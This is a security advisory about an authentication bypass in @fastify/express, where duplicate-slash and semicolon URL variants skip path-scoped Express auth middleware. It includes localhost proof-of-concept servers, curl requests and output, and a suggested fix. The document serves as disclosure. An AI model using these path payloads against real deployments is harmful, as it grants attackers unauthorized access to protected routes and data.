@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)

Vector 2: Semicolon Delimiters

When useSemicolonDelimiter: true is configured, the router uses find-my-way's safeDecodeURI() which treats semicolons as query string delimiters, splitting /admin;bypass into path /admin and querystring bypass for route matching. However, @fastify/express passes the full URL /admin;bypass to Express middleware.

Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like /admin to the regex /^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.

The attack flow:

1. Request GET /admin;bypass arrives
2. Fastify router: splits at ; — matches route GET /admin
3. Express middleware: regex /^\/admin\/?(?=\/|$)/i fails against /admin;bypass — middleware skipped
4. Route handler executes without authentication checks

PoC

Duplicate Slash Bypass

Save as server.js and run with node server.js:

const fastify = require('fastify')

async function start() {
  const app = fastify({
    logger: false,
    ignoreDuplicateSlashes: true,  // documented Fastify option
  })

  await app.register(require('@fastify/express'))

  // Standard Express middleware auth pattern
  app.use('/admin', function expressAuthGate(req, res, next) {
    const auth = req.headers.authorization
    if (!auth || auth !== 'Bearer admin-secret-token') {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))
      return
    }
    next()
  })

  // Protected route
  app.get('/admin/dashboard', async (request) => {
    return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }
  })

  await app.listen({ port: 3000 })
  console.log('Listening on http://localhost:3000')
}
start()

# Normal access — blocked by Express middleware
$ curl -s http://localhost:3000/admin/dashboard
{"error":"Forbidden by Express middleware"}

# Double-slash bypass — Express middleware skipped, handler runs
$ curl -s http://localhost:3000//admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}

# Triple-slash also works
$ curl -s http://localhost:3000///admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}

Multiple variants work: ///admin, /.//admin, //admin//dashboard, etc.

Semicolon Bypass

const fastify = require('fastify')
const http = require('http')

function get(port, url) {
  return new Promise((resolve, reject) => {
    http.get('http://localhost:' + port + url, (res) => {
      let data = ''
      res.on('data', (chunk) => data += chunk)
      res.on('end', () => resolve({ status: res.statusCode, body: data }))
    }).on('error', reject)
  })
}

async function test() {
  const app = fastify({ 
    logger: false, 
    routerOptions: { useSemicolonDelimiter: true }
  })
  await app.register(require('@fastify/express'))
  
  // Auth middleware blocking unauthenticated access
  app.use('/admin', function(req, res, next) {
    if (!req.headers.authorization) {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden' }))
      return
    }
    next()
  })
  
  app.get('/admin', async () => ({ secret: 'classified-info' }))
  
  await app.listen({ port: 19900, host: '0.0.0.0' })
  
  // Blocked:
  let r = await get(19900, '/admin')
  console.log('/admin:', r.status, r.body)
  // Output: /admin: 403 {"error":"Forbidden"}
  
  // BYPASS:
  r = await get(19900, '/admin;bypass')
  console.log('/admin;bypass:', r.status, r.body)
  // Output: /admin;bypass: 200 {"secret":"classified-info"}
  
  r = await get(19900, '/admin;')
  console.log('/admin;:', r.status, r.body)
  // Output: /admin;: 200 {"secret":"classified-info"}
  
  await app.close()
}
test()

Actual output:

/admin: 403 {"error":"Forbidden"}
/admin;bypass: 200 {"secret":"classified-info"}
/admin;: 200 {"secret":"classified-info"}

The semicolon bypass works with any text after it: /admin;, /admin;x, /admin;jsessionid=123.

Impact

Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.

Duplicate slash vector affects applications that:

1. Use @fastify/express with ignoreDuplicateSlashes: true
2. Rely on Express middleware for authentication/authorization
3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

Semicolon vector affects applications that:

1. Use @fastify/express with useSemicolonDelimiter: true (commonly enabled for Java application server compatibility, e.g., handling ;jsessionid= parameters)
2. Rely on Express middleware for authentication/authorization
3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

The bypass works against all Express middleware that uses prefix path matching, including popular packages like express-basic-auth, custom authentication middleware, and rate limiting middleware.

The ignoreDuplicateSlashes and useSemicolonDelimiter options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.

Affected Versions

• @fastify/express v4.0.4 (latest) with Fastify 5.x
• Requires ignoreDuplicateSlashes: true or useSemicolonDelimiter: true in Fastify configuration (via top-level option or routerOptions)

Variant Testing

Duplicate slashes:

Semicolons:

The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., /admin/dashboard;x), Express's prefix regex succeeds because the /admin/ part matches before the semicolon appears.

Suggested Fix

@fastify/express should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:

• When ignoreDuplicateSlashes is enabled, apply FindMyWay.removeDuplicateSlashes() to req.raw.url before middleware execution
• When useSemicolonDelimiter is enabled, strip semicolon-delimited parameters from the URL before passing to Express

This would match the normalization behavior that @fastify/middie already implements via sanitizeUrlPath() and normalizePathForMatching().